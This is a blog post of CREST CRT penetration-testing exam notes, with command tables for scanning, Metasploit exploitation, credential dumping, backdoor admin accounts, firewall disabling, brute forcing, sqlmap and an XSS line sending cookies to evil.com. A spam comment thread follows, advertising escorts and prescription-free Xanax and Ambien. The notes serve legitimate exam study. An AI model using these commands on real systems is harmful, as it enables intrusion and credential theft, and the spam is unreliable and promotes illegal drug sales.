I'm going to be taking the CREST CRT exam in January and wanted to share my preparation notes with the world to save everyone else the time and effort of digging up this information to pass the exam.
Note: I have not taken the exam yet, I do not know the answers and am in no way affiliated with CREST.
Note Note: I passed the exam. Due to confidentiality reasons I can't provide any hints I will however leave this post up to assist future participants :)
What have we gota do?
First things first, the official CREST site and CRT page is here:
http://www.crest-approved.org/information-security-testers/registered-tester/index.html
To quote the official documentation - "The Certification Examination has two components: a multiple choice written question section and a practical assessment which is also examined using multiple choice answers. The practical assessment tests candidates’ hands-on penetration testing methodology and skills against reference networks, hosts and applications."
For the "written question" section I'd recommend Wikipedia or some SANS/CEH material. For the practical side of things see below.
Getting hands-on!
Note Note: I passed the exam. Due to confidentiality reasons I can't provide any hints I will however leave this post up to assist future participants :)
What have we gota do?
First things first, the official CREST site and CRT page is here:
http://www.crest-approved.org/information-security-testers/registered-tester/index.html
To quote the official documentation - "The Certification Examination has two components: a multiple choice written question section and a practical assessment which is also examined using multiple choice answers. The practical assessment tests candidates’ hands-on penetration testing methodology and skills against reference networks, hosts and applications."
For the "written question" section I'd recommend Wikipedia or some SANS/CEH material. For the practical side of things see below.
Getting hands-on!
My goal during the practical exam is to be as quick and efficient as possible. I want to minimize time spent analyzing results, configuring tools or writing custom stuff and maximize time spent answering questions! I plan to use a Windows box with Kali Linux VM. Below is my full list of tools and one-liners:
RECON AND ENUMERATION
RECON AND ENUMERATION
Command | Description |
---|---|
nmap -T4 -A -Pn -oA scan -v 192.168.1.1-254 | Full scan |
for i in 21 22 23 80 443 445;do cat scan.gnmap|grep " $i/open"|cut -d " " -f2 > $i.txt;done | Parse results into txt files per port |
nmap -T4 -v -oA myshares --script smb-enum-shares --script-args smbuser=pwndizzle,smbpass=mypassword -p445 192.168.1.1-254 | Check for open shares |
dig axfr example.com @ns1.example.com | DNS zone transfer (Linux) |
tcp.port, tcp.srcport, ip.src, ip.dst, or, and | Wireshark syntax |
tcpdump tcp port 80 -w output.pcap -i eth0 | Tcpdump syntax |
mount 192.168.1.1:/share /mnt/nfs | Mount an NFS share |
mount -o nolock -t nfs -o proto=tcp,port=2049 172.16.1.1:/ /mnt | Mount an NFS share |
mount -t cifs -o username=<user>,password=<password>,domain=example.com //WIN_PC_IP/<share name> /mnt/windows | Mount a Windows share |
net use x: \\filesvr001\folder1 <password> /user:domain01\jsmith /savecred /p:no | Mount a Windows share |
net use \\<target>\IPC$ "" /u:"" | Null session |
rpcclient -U "" <target> | Null session |
enum4linux.pl 192.168.1.20 | Retrieve domain info |
onesixtyone -c names -i snmphosts | SNMP enum |
snmpcheck -t 172.10.1.1 -c public | SNMP enum |
nslookup -> set type=any -> ls -d <domain> | DNS zone transfer (Windows) |
nmap --script=smb-check-vulns --script-args=unsafe=1 -p445 <host> | SMB vuln scan |
METASPLOIT
Command | Description |
---|---|
use auxiliary/scanner/http/dir_scanner | Scan for directories |
use auxiliary/scanner/http/jboss_vulnscan | JBoss scan |
use exploit/multi/http/jboss_maindeployer | JBoss deploy |
use auxiliary/scanner/mssql/mssql_login | MSSQL cred scan |
use exploit/windows/mssql/mssql_payload | MSSQL payload |
use auxiliary/scanner/mysql/mysql_version | MySQL version scan |
use auxiliary/scanner/mysql/mysql_login | MySQL login |
use auxiliary/scanner/oracle/oracle_login | Oracle login |
use exploit/windows/dcerpc/ms03_026_dcom | eazymode |
use exploit/windows/smb/ms06_040_netapi | eazymode |
use exploit/windows/smb/ms08_067_netapi | eazymode |
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index | eazymode |
run post/windows/gather/win_privs | Show privs of current user |
use exploit/windows/local/bypassuac (check if x86/64 and set target) | Bypass uac on win7+ |
load mimikatz -> wdigest | Dump creds |
load incongnito -> list_tokens -> impersonate_token | Use tokens |
use post/windows/gather/credentials/gpp | GPP |
run post/windows/gather/local_admin_search_enum | Test other machines |
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=4445 R | msfencode -t exe -e x86/shikata_ga_nai -c 5 > custom.exe | Standalone meterpreter |
use exploit/multi/script/web_delivery | Powershell payload delivery |
post/windows/manage/powershell/exec_powershell | Upload and run a PS script through a session |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.1.3.19 LPORT=4444 -a x86 -f exe -e x86/shikata_ga_nai -b '\x00' -i 3 > meter.exe | Generate standalone payload |
WINDOWS COMMANDS
https://docs.google.com/document/d/1U10isynOpQtrIK6ChuReu-K1WHTJm4fgG3joiuz43rw/edit
ipconfig /all
|
Displays the full information about your NIC’s.
|
ipconfig /displaydns
|
Displays your local DNS cache.
|
netstat -nabo
|
Lists ports / connections with corresponding process (-b), don’t perform looking (-n), all connections (-a) and owning process ID (-o)
|
netstat -r
|
Displays the routing table
|
netstat -anob | findstr “services, process or port”
|
The “b” flag makes the command take longer but will output the process name using each of the connections.
|
netsh diag show all
|
{XP only} Shows information on network services and adapters
|
net view
|
Queries NBNS/SMB (SAMBA) and tries to find all hosts in your current workgroup or domain.
|
net view /domain
|
List all domains available to the host
|
net view /domain:otherdomain
|
Queries NBNS/SMB (SAMBA) and tries to find all hosts in the ‘otherdomain’
|
net user %USERNAME% /domain
|
Pulls information on the current user, if they are a domain user. If you are a local user then you just drop the /domain. Important things to note are login times, last time changed password, logon scripts, and group membership
|
net user /domain
|
Lists all of the domain users
|
net accounts
|
Prints the password policy for the local system. This can be different and superseded by the domain policy.
|
net accounts /domain
|
Prints the password policy for the domain
|
net localgroup administrators
|
Prints the members of the Administrators local group
|
net localgroup administrators /domain
|
as this was supposed to use localgroup & domain, this actually another way of getting *current* domain admins
|
net group “Domain Admins” /domain
|
Prints the members of the Domain Admins group
|
net group “Enterprise Admins” /domain
|
Prints the members of the Enterprise Admins group
|
net group “Domain Controllers” /domain
|
Prints the list of Domain Controllers for the current domain
|
net share
|
Displays your currently shared SMB entries, and what path(s) they point to
|
net session | find / “\\”
| |
arp -a
|
Lists all the systems currently in the machine’s ARP table.
|
route print
|
Prints the machine’s routing table. This can be good for finding other networks and static routes that have been put in place
|
whoami
|
View the current user
|
tasklist /v
|
List processes
|
taskkill /F /IM "cmd.exe"
|
Kill a process by its name
|
net user hacker hacker /add
|
Creates a new local (to the victim) user called ‘hacker’ with the password of ‘hacker’
|
net localgroup administrators hacker /add
|
Adds the new user ‘hacker’ to the local administrators group
|
net share nothing$=C:\ /grant:hacker,FULL /unlimited
|
Shares the C drive (you can specify any drive) out as a Windows share and grants the user ‘hacker’ full rights to access, or modify anything on that drive.
One thing to note is that in newer (will have to look up exactly when, I believe since XP SP2) windows versions, share permissions and file permissions are separated. Since we added our selves as a local admin this isn’t a problem but it is something to keep in mind
|
net user username /active:yes /domain
|
Changes an inactive / disabled account to active. This can useful for re-enabling old domain admins to use, but still puts up a red flag if those accounts are being watched.
|
netsh firewall set opmode disable
|
Disables the local windows firewall
|
wmic useraccount get name,sid - Retrieve name and sid from command line.
LINUX COMMANDS
Command | Description |
---|---|
apt-get install finger rsh-client jxplorer sipcalc | Finger not installed in Kali by default |
apt-get install rsh-client | R-tools not installed in Kali by default |
uname -a | Kernel version |
cat /etc/<distro>-release | Release version |
showrev -p | Revision |
rlogin -l <user> <target> | rlogin |
rsh <target> <command> | rsh |
find / -perm +6000 -type f -exec ls -ld {} \; > setuid.txt & | Find setuid binaries |
finger <username>@<ip> | Retrieve user info |
mysql -h <ip> -u <user> -p <password> | Connect to mysql |
oscanner -s <ip> -r <repfile> | Oracle scanner |
PASSWORD GUESSING
Command | Description |
---|---|
hydra -L users -P passwords -M 21.txt ftp | Brute ftp |
hydra -L users -P passwords -M 22.txt ssh | Brute ssh |
hydra -L users -P passwords -M 445.txt smb | Brute smb |
User List |
---|
root |
admin |
administrator |
manager |
crest |
crt |
user |
PASSWORD CRACKING
Command | Description |
---|---|
john --wordlist=/usr/share/wordlists/rockyou.txt hashes | JTR default |
WEB APP
Command | Description |
---|---|
document.write('<img src="http://evil.com/x.gif?cookie=' + document.cookie + '" />) | XSS steal cookie |
sqlmap -u <target> -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/test.php" | Targeted scan |
sqlmap -u http://example.com --forms --batch --crawl=10 --cookie=jsessionid=12345 --level=5 --risk=3 | Automated scan |
How did the exam go?
ReplyDeleteGreat Article Cyber Security Projects projects for cse Networking Security Projects JavaScript Training in Chennai JavaScript Training in Chennai The Angular Training covers a wide range of topics including Components, Angular Directives, Angular Services, Pipes, security fundamentals, Routing, and Angular programmability. The new Angular TRaining will lay the foundation you need to specialise in Single Page Application developer. Angular Training
DeleteI passed :)
ReplyDeleteCongratulations! I take it next week you see. Any pointers?
ReplyDeleteIt's still early days for me, however I have done lots of training over the years (10+), SCP, Security+, Backtrack 101, CISSP, CEH, ECSA. Now, I know many of the courses I have done are only touching the tip of the iceberg in relation to Pen-Testing but as I am out of work I was wondering if it would be reasonable to skip the training and just take the exam?
ReplyDeleteLike any exam it's wise to revise and prepare accordingly. The amount of prep depends on your experience. For the CRT if you have a few years security/pentesting experience you should be fine. Without practical experience though you may find it hard.
ReplyDeleteDoes this exam follow CTF fashion ? Where you have to own different boxes? Apart from that, which is the level of detail requested in the exam? Do you have to know every single thing from IPSec for instance?
ReplyDeleteHi there,
ReplyDeleteHave you taken the CPSA exam. Can you share some tips if there is any technical aspect of the test?
This post really great !
ReplyDeletecan i connect with you to ask for more info? u email pls?
ReplyDeleteGreat post and informative blog.it was awesome to read, thanks for sharing this great content to my vision.
ReplyDeleteGood discussion.
PMP Training Course in Bangalore
PMP Training Course in Dammam
PMP Training Course in Dubai
PMP Training Course in Jeddah
PMP Training Course in Riyadh
Great Article… I love to read your articles because your writing style is too good, its is very very helpful for all of us. Do check Six Sigma Training in Bangalore | Six Sigma Training in Dubai & Get trained by an expert who will enrich you with the latest trends.
ReplyDeleteHi, great post! One more question?
ReplyDeleteDo I need to get root to the exam boxes to find all the answers or is just enough to make scans and enumerate the machine to find its?
Please advise.
I looking to book the exam ASAP.
Thanks
I know that after reading this useful info you will learn a lot about avoiding plagiarism. I had such experience recently
ReplyDeleteI m so glad to visit this blog.This blog is really so amazing
ReplyDeleteclipping path service|Background Removal service|Vector Tracing
nice..................
ReplyDeletevietnam web hosting
google cloud server hosting
canada telus cloud hosting
algeeria hosting
angola hostig
shared hosting
bangladesh hosting
botswana hosting
central african republi hosting
shared hosting
||Packers And Movers In Nangloi
ReplyDelete||Nangloi Packers And Movers
||Packers And Movers In Rohtak
||Rohtak Packers And Movers
||Packers And Movers In Jhajjar
||Jhajjar Packers And Movers
||Best Packers And Movers In Hansi
||Hansi Packers And Movers
||Packers And Movers In Mundka
||Mundka Packers And Movers
||Packers And Movers In Kaithal
||Kaithal Packers And Movers
||Packers And Movers In Uttam Nagar
||Packers Movers Near Me
Such a nice blog you have shared here. Thanks for sharing about this with us.
ReplyDeletePlease visit Call Girls in Kolkata to know why The Call girls in Kolkata are known for their dusky and fair skin tone and you can take the service from any of them according to your wish.
Call girls Kolkata
kolkata call girls
independent call girls in kolkata
high profile call girls in kolkata
escorts in kolkata
photo of call girls in kolkata
call girl services in kolkata
top class Kolkata call girls
air hostess escorts in kolkata
college escorts in kolkata
Kolkata call girls gallery
Photo Gallery of Kolkata Call Girls
hp envy photo 7855 driver
ReplyDeleteYour post is very helpful and information is reliable. I am satisfied with your post. Thank you so much for sharing this wonderful post. Visit:- advisor for you office.com/setup | office.com/setup | | Norton.com/setup | office.com/setup | log in Telstra Webmail Account
ReplyDeleteشركة تنظيف منازل بجازان
ReplyDeleteشركة تنظيف منازل
شركة تنظيف بأبوعريش جازان
شركة تنظيف بأبوعريش
شركة تنظيف كنب بجازان
شركة تنظيف كنب
شركة عزل مسابح بجازان
شركة عزل مسابح
شركة عزل خزانات بجازان
شركة عزل خزانات
شركة عزل مسابح بجازان
شركة عزل مسابح
شركة عزل اسطح بجازان
شركة عزل اسطح
شركة مكافحة حشرات بجازان
شركة مكافحة حشرات
شركة تنظيف المجالس في جازان
شركة تنظيف المجالس
شركة تنظيف موكيت بجازان
شركة تنظيف موكيت
شركة تنظيف فلل بجازان
شركة تنظيف فلل
شركة تنظيف سجاد بجازان
شركة تنظيف سجاد
To reach American Express phone number or AMEX Phone Number, follow our article and get a list of american express customer care numbers or amex phone number.
ReplyDeletehttps://xperria.com/banks/american-express-phone-number/
An overview of ProtonMail sign up and login process In the world of Gmail and Yahoo, there is one email service provider that is overpowering these prominent emailing platform i.e. ProtonMail. This emailing platform runs on Swiss Privacy Standard to secure users data from getting into wrong hands. So, those users who are curious to know what is ProtonMail and ProtonMail login process can continue reading this informative further.
ReplyDeletevisit@-
mcafee.com/activate |
office.com/setup |
طراحی سایت شرکتی
ReplyDeleteتعرفه طراحی سایت
طراحی سایت بیمه
ReplyDeleteسئو سایت
school administration software
ReplyDeletesmart school management system
school database management system
education erp software
school erp system
smart school software
Nice Blog. Thanks for sharing with us. Such amazing information.
ReplyDeleteRole of Increasing Brand Awareness in Business
MyBlogger Club
Guest Posting Site
Best Guest Blogging Site
Guest Blogger
Guest Blogging Site
Chase Verify Card – Chase bank Credit Card clients can confirm and activate online at chase.com. In the event that you have just applied for a Credit Card of Chase Bank, you ought to activate it by confirming it online at Bank's authentic site is www.chase.com. On the off chance that you "How would I enact my interest Credit Card?" Are searching for. So read the cycle beneath to confirm the card, at that point activate it.
ReplyDeleteRead More…
reset canon printer
ReplyDeletehow to reset canon printer
how do i reset my canon printer
canon printer reset
how to reset canon printer to factory settings
canon printer reset tool
canon printer error
ReplyDeleteI found this is an informative blog and also very useful and knowledgeable. I would like to thank you for the efforts you have made in writing this blog Buy Ambien Online
Order Ambien Online
Buy Ambien 10mg Online
about
ReplyDeleteabout
I found this is an informative blog and also very useful and knowledgeable. I would like to thank you for the efforts you
ReplyDeletehave made in writing this blog
Xanax Bars For Sale Online
buy Xanax online
The way toward enacting Amazon Prime Video on Roku is exceptionally simple yet for this, you need to initially make a record on Amazon Prime to get the enlistment code and afterward on www.amazon.com/mytv go and afterward enter the Activation code.
ReplyDeleteRead more…